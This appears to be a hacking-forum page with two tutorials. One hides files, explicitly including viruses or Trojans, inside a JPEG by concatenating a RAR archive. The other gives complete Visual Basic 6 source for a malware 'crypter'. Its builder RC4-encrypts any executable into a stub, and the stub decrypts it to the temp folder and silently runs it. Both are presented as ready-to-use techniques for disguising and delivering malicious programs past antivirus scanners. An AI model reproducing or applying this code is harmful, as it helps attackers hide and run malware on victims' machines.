Manually Hide any file in JPEG

Hello Friends, today i will explain you how to hide any file behind the JPEG image manually that is without any software. Its a very easy trick and also very useful if you want to send information secretly to your friend. Also its different from stenography as it does hides text behind images or text behind mp3 files. Its universal, you can hide any file, virus or Trojan or anything behind image using this trick. 

Things that you will need for this trick:

1. Winrar installed on your system.

2. Little knowledge of command prompt.

Steps to Hide any File behind JPEG image Manually

 

1. Create an folder into C drive (recommendation is that use this C:\Hidden).

2. Now gather all files that you want to hide in this folder.

3. Now add these all files to compressed .rar file using winrar 

(example myhiddenfiles.rar ).

Note: This rar file should be in the same directory (i.e. C:\Hidden)

4. Now Select the JPEG file that you want to use to hide the above content 

(say myimage.jpg). Put this image file also in the same folder that is in C:\Hidden

5. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.

  (When you open CMD you will get like C:\Documents and settings\username (something like this)

 Now type cd.. and press enter and then again type cd.. and press enter. Now you have something like this in cmd  C:\   . Now in front of that type cd "Hidden"  and press enter. )

6. Now type: “COPY /b myimage.jpg + myhiddenfiles.rar outputimage.jpg” (without quotes) - Now, myimage.jpg is the picture you want to show, myhiddenfiles.rar is the file to be hidden, and outputimage.jpg is the file which contains both....

7. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive

How To Make a crypter

How To Make a crypter ?
What you will need:
Visual Basic 6 or Visual Basic 6 Portable
A RC4 module
A brain

The RC4 module and Visual Basic 6 Portable will have the download links at the end of this tutorial.

TABLE OF CONTENTS:
1. Introduction
2. Building your crypter
3. Conclusion

1. Introduction

RC4:
In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

Stub:
A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

Builder:
A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

2. Building your crypter.

Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says "File Path:", a text box right beside "File Path:", a button that says "Browse" or "...", and another button that says "Crypt" or "Build". Now, lets add the CommonDialog control. Add a CommonDialog and name itcommondlg. Now, lets double click the button that says "Browse" or "...". Add this code, and I'll explain it.

Code:

With commondlg 'CommonDialog1.
     .Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)
     .DialogTitle = "Please select a executable file..." 'The title of the dialog.
     .ShowOpen 'Show the dialog.
     End With
     TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.

The With commondlg command calls CommonDialog1.
The .Filter part allows you to choose what files you only want to be selected.
The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
The .ShowOpen command shows the dialog.
End With will end CommonDialog1.
And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

Now, click the button that says "Build" or "Crypt". Add this code. It explains it, so please take time to read what it says.

Code:

Dim sStub As String, sFile As String 'This command will declare the two strings.
Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.
sStub = Space(LOF(1)) 'This declares the space.
Get #1, , sStub 'This puts in a space in the file.
Close #1 'This closes the file.

Open TextBox1.Text For Binary As #1 'Opens up the stub.
sFile = Space(LOF(1)) 'This declares the space.
Get #1, , sFile 'This puts a space in the file.
Close #1 'This closes the file.

Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".
Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.
Close #1 'This closes the file.

MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.

Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.

Code:

Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password.

For this tutorial, we will be using "s0rasRC4Tutorial" as the RC4 password.

Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:

Code:

Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!

Public Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String, ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.

Public Sub Main() 'The main part of the stub.
Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.
sStub = Space(LOF(1)) 'This will declare the space.
Get #1, , sStub 'This puts a space in the file.
Close #1 'This closes the file.

sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.
Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.
Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.

Call ShellExecute(0, vbNullString, Environ("tmp") & "\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute command and drops the decrypted file in the temporary files folder.

End Sub 'This ends "Public Sub Main()".

The code will be teaching you. Once you're done, remove the Form1.

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